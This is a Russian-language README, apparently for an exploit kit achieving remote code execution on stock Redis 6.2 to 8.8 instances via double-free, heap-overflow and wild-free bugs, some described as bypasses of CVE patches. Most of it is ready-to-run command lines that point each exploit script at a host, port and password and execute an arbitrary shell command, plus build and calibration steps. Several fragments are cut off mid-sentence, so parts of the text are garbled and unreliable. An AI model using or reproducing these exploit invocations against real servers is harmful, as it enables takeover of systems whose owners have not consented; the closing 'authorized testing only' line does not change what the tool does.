
RCE PoC для Redis 6.2.22, 7.4.9, 8.6.4, 8.8.0, 8.8.1
Неразрушающие эксплойты RCE для Redis 6.2.22, 7.4.9, 8.6.4 через двойное освобождение shared-NACK в stream consumer-group (обход патча для CVE-2026-25243), для 8.8.0 через переполнение кучи в TDigest во встроенном RedisBloom, а для 8.8.1 через произвольное освобождение (wild free) TopK (обход патча для CVE-2026-25589).
A_exploit_stock.py — эксплойт для 6.2.22 (образ redis:6.2.22)P74_exploit.py (+ P74_g2.py) — эксплойт для 7.4.9 (redis:7.4)P86_exploit.py — эксплойт для 8.6.4 (redis:8.6)P88W_exploit.py (+ P88W_lib.py, P88W_corrupt.py) — эксплойт для
8.8.0 (redis:8.8.0, через переполнение кучи TDigest во встроенном модуле)T88_exploit.py — эксплойт для 8.8.0 и 8.8.1 (через произвольное
освобождение TopK во встроенном модуле; обход неполного исправления
CVE-2026-25589 — работает на RedisBloom v8.8.0 и v8.8.2)A_lib.py, G2_arbread.py — общие вспомогательные модули (должны находиться рядом с эксплойтами)crc64.c/h, crcspeed.c/h — исходные коды для libcrc64.so (Redis CRC64, необходим для создания корректных полезных нагрузок RESTORE)calibrate.sh — вычисление бинарных смещений для неофициальных сборокP74_loop.sh, P86_run.sh — обёртки для повторных попыток запускаgcc -shared -fPIC -O2 -o libcrc64.so crc64.c crcspeed.c
Требования: Python 3.6+ (без pip-пакетов), gcc.
# 6.2.22 (DEBUG enabled by default)
python3 A_exploit_stock.py <host> <port> [password] [trigger]
# 7.4.9 / 8.6.4 — stock target, NO debug flag needed
python3 P74_exploit.py <host> <port> [password] [trigger]
python3 P86_exploit.py <host> <port> [password] [trigger]
# 8.8.0 — stock target, FRESH container/instance strongly recommended
python3 P88W_exploit.py <host> <port> [password] [trigger]
# 8.8.0 / 8.8.1 — TopK wild free, stock target, fresh instance recommended
python3 T88_exploit.py <host> <port> [password] [trigger]
password — опустите (или передайте ""), если на цели нет аутентификацииtrigger — shell-команда; по умолчанию записывает доказательство в /data/pwned*Примеры:
# local lab, 6.2.22
docker run -d -p 6379:6379 redis:6.2.22 redis-server --requirepass exploitme
python3 A_exploit_stock.py 127.0.0.1 6379 exploitme "id > /data/pwned_stock"
# local lab, 7.4.9
docker run -d -p 6379:6379 redis:7.4 redis-server --requirepass exploitme
python3 P74_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned74"
# local lab, 8.6.4
docker run -d -p 6379:6379 redis:8.6 redis-server --requirepass exploitme
python3 P86_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned86"
# local lab, 8.8.0
docker run -d -p 6379:6379 redis:8.8.0 redis-server --requirepass exploitme
python3 P88W_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned88"
python3 T88_exploit.py 127.0.0.1 6379 exploitme "id > /data/pwned_t88"
--str-format-off и т.д.; см. --help) или выполните
./calibrate.sh /path/to/redis-server [/path/to/libc.so.6] для их генерации.
Неверные смещения приводят к аварийному завершению целевого сервера (чтение за пределами допустимого диапазона).EVAL, RESTORE, XGROUP
(для 8.8.0/8.8.1 также требуется встроенный модуль RedisBloom, присутствующий по умолчанию).HARDENING.md.
Эксплойт для 8.8.0 оставляет ~2000 обнулённых структур tdigest, а также повреждённый
ключ-оракул — не выполняйте после этого FLUSHALL/SAVE на целевой системе.TopK_Destroy по-прежнему читает
все указатели k за пределами уменьшенной кучи как в RedisBloom v8.8.0, так и в v8.8.2).Только для авторизованного тестирования.